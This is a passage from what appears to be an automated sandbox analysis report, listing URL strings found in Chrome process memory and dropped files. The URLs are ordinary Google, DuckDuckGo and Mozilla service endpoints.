Source: chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000010.00000002.2727662332.000078C40069C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: 9R1D2D.10.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 9R1D2D.10.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000010.00000002.2725619000.000078C4001B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/clientupdate-aus/1
Source: chrome.exe, 00000010.00000002.2730303289.000078C400AE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000010.00000002.2726202059.000078C4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsyhttps://sites.google.com/u/0/create?usp=
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000010.00000002.2726202059.000078C4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726971757.000078C400528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733079553.000078C400EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000010.00000002.2726202059.000078C4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000010.00000002.2733772531.000078C4010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726971757.000078C400528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googlP2
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000010.00000003.2641552249.000078C4004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000010.00000002.2726413038.000078C400318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007D9000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726601425.000078C40039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000010.00000002.2729409445.000078C4009DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000010.00000003.2696966884.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731046404.000078C400C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2685858348.000078C400C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: KFUAIW.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/#m
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/&m
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-m
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0m
Source: chrome.exe, 00000010.00000003.2637886202.00003768003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7m
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:m
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Al
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Hl
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Mj
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Ok
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Rl
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Sk
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Ul
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/_l
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/dk
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/fl
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gk
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/il
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/m
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/pl
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/qk
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/xk
Source: chrome.exe, 00000010.00000002.2723724683.000037680079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000010.00000003.2637886202.00003768003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2724730804.000078C400030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000010.00000002.2727662332.000078C40069C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: 9R1D2D.10.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000010.00000003.2653673202.000078C400388000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000010.00000003.2687554056.000078C40199C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000010.00000002.2723648133.0000376800780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2730111087.000078C400A68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2722586040.0000376800238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2687474283.000078C401998000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2687554056.000078C40199C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000010.00000003.2637886202.00003768003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000010.00000002.2722586040.0000376800238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard7h$
Source: chrome.exe, 00000010.00000002.2723648133.0000376800780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard7hxZ
Source: chrome.exe, 00000010.00000003.2637886202.00003768003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000010.00000002.2723648133.0000376800780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000010.00000003.2687474283.000078C401998000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2687554056.000078C40199C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardx
Source: chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000010.00000002.2726754686.000078C400464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000010.00000003.2637886202.00003768003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000010.00000003.2638473603.00003768006F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2723613380.0000376800754000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000010.00000003.2637677996.00003768003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2687215134.000078C40089C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000010.00000002.2723724683.000037680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_202309180
Source: chrome.exe, 00000010.00000002.2723724683.000037680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusP
Source: chrome.exe, 00000010.00000002.2723613380.0000376800754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
